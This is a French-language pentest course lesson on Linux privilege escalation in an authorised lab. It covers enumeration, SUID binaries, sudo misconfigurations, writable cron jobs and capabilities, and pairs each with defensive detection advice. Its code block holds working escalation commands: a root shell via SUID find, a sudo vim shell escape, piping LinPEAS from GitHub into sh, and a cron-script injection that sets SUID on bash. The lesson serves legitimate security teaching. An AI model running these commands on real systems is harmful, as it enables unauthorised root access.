cyber / pentest-red-team

Escalade de privilèges Linux

Leçon 91 exercice

Explication

Ce que vous allez apprendre

Comprendre la méthodologie d'énumération systématique après un accès initial en lab autorisé
Identifier les binaires SUID mal configurés et leur lien avec la base de référence GTFOBins
Reconnaître une mauvaise configuration sudo exploitable
Repérer des tâches cron modifiables exécutées par root
Situer ces techniques dans une démarche strictement défensive : savoir les détecter, pas seulement les reproduire

Dans quel contexte ?

Dans un exercice de pentest en environnement de lab autorisé, l'auditeur vient d'obtenir un accès shell avec un compte utilisateur standard sur un serveur Linux, par exemple via l'exploitation d'une application web vulnérable étudiée dans une leçon précédente. Cet accès initial n'a que peu de valeur pour un client tant qu'il ne permet pas de démontrer un impact réel : l'étape suivante consiste à vérifier méthodiquement si une mauvaise configuration locale permet de passer de cet utilisateur limité à root, et surtout à documenter précisément comment un défenseur pourrait détecter ce chemin.

D'abord, une démarche méthodique plutôt qu'une recherche au hasard

Face à une machine inconnue, l'énumération suit toujours le même ordre de priorité, du plus simple au plus complexe. Un outil comme LinPEAS automatise cette collecte d'informations (binaires SUID, permissions, tâches planifiées, version du noyau), mais comprendre pourquoi chaque résultat est exploitable reste indispensable — un scanner automatisé signale une piste, il ne l'explique jamais.

Prérequis

Cette leçon suppose une bonne maîtrise des permissions Unix (chmod, propriétaire/groupe) et du shell Bash, vues dans les leçons fondamentales de ce parcours. Toutes les commandes présentées sont à exécuter uniquement sur des machines de lab explicitement autorisées.

Vecteur d'escalade	Ce qu'il faut vérifier	Commande de vérification
Sudo mal configuré	Commandes autorisées sans mot de passe	`sudo -l`
Binaires SUID	Exécutables avec le bit SUID actif	`find / -perm -4000 -type f`
Cron jobs	Scripts modifiables exécutés par root	`cat /etc/crontab`
Capabilities Linux	Droits attribués finement à un binaire	`getcap -r / 2>/dev/null`

Une fois l'énumération faite, il faut savoir interpréter chaque résultat

Un binaire avec le bit SUID s'exécute avec les droits de son propriétaire, pas de l'utilisateur qui le lance — si ce propriétaire est root et que le binaire permet une action détournée (comme lancer un shell), l'escalade est immédiate. La base de données GTFOBins référence précisément ces techniques d'abus, binaire par binaire, et sert autant à l'attaquant qu'au défenseur qui doit savoir quels binaires SUID surveiller.

Piège courant

Ne jamais tenter un exploit kernel en dernier recours sans avoir d'abord validé son fonctionnement dans un environnement de lab identique à la cible. Un exploit kernel mal maîtrisé peut faire planter le système, ce qui est totalement inacceptable dans un contexte de test autorisé chez un client réel.

Il reste un réflexe défensif essentiel à retenir

Chacune de ces techniques a une contrepartie défensive directe : auditer régulièrement sudo -l pour chaque compte, surveiller les nouveaux binaires SUID avec un outil de baseline, et vérifier que les scripts exécutés par cron ne sont jamais modifiables par un utilisateur non privilégié.

Bonne pratique

Documente systématiquement, pour chaque chemin d'escalade identifié en lab, la commande de détection défensive correspondante. C'est cette double lecture — offensive et défensive — qui distingue un rapport de pentest utile d'une simple liste d'exploits.

Maintenant que la logique d'escalade Linux est claire, la prochaine leçon applique exactement la même démarche méthodique à l'environnement Windows, où les mécanismes diffèrent mais la logique de recherche de mauvaise configuration reste identique.

Commandes & code

Escalade de privilèges Linux

Une fois un accès initial obtenu (utilisateur standard), l'objectif est d'identifier un chemin vers root, en lab autorisé uniquement.

# Scripts d'énumération automatique (à exécuter sur la machine cible du lab)
# LinPEAS liste binaires SUID, cron jobs, permissions faibles, kernel exploitable, etc.
curl -s https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh | sh

# Binaires SUID mal configurés : exécutent avec les droits du propriétaire (souvent root)
find / -perm -4000 -type f 2>/dev/null

# Exemple : si "find" a le bit SUID, on peut spawn un shell root via son option -exec
find . -exec /bin/sh -p \; -quit
# Référence complète des techniques par binaire : GTFOBins (gtfobins.github.io)

# Sudo mal configuré : vérifier ce que l'utilisateur peut exécuter en root sans mot de passe
sudo -l
# Exemple de résultat exploitable :
# (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'   # vim lance un shell root via sa commande interne

# Tâches cron exécutées par root sur un script modifiable par un utilisateur non-privilégié
cat /etc/crontab
ls -la /opt/scripts/backup.sh
# Si le script est modifiable et exécuté par root via cron -> injection de commande possible
echo 'chmod u+s /bin/bash' >> /opt/scripts/backup.sh

# Kernel exploits : dernier recours, risqué (peut crasher le système), à valider en lab d'abord
uname -a
# Croiser la version avec une base d'exploits connus (searchsploit, exploit-db) avant tentative

# Table : vecteurs d'escalade Linux les plus courants, du plus simple au plus complexe
1. Sudo mal configuré (NOPASSWD sur un binaire dangereux)
2. Binaires SUID exploitables (GTFOBins)
3. Cron jobs / scripts world-writable exécutés par root
4. Capabilities Linux mal attribuées (getcap -r / 2>/dev/null)
5. Kernel exploit (dernier recours, instable)

Résumé

LinPEAS automatise l'énumération mais la compréhension manuelle reste indispensable.
sudo -l et les binaires SUID sont les deux premiers réflexes en environnement Linux.
GTFOBins référence les techniques d'abus pour chaque binaire courant.
Les exploits kernel sont un dernier recours car ils risquent de rendre le système instable.

Exercices pratiques

1 disponible

Mission : de www-data à root sur le serveur de lab NordShield

Objectif : Identifier un chemin d'escalade de privilèges exploitable sur une machine Linux de lab, et documenter sa détection défensive.

Contexte

Tu as obtenu un shell avec le compte www-data en exploitant l'application web NordShield (missions précédentes). Il faut maintenant vérifier méthodiquement si une mauvaise configuration locale permet d'atteindre root.

Résoudre l’exercice →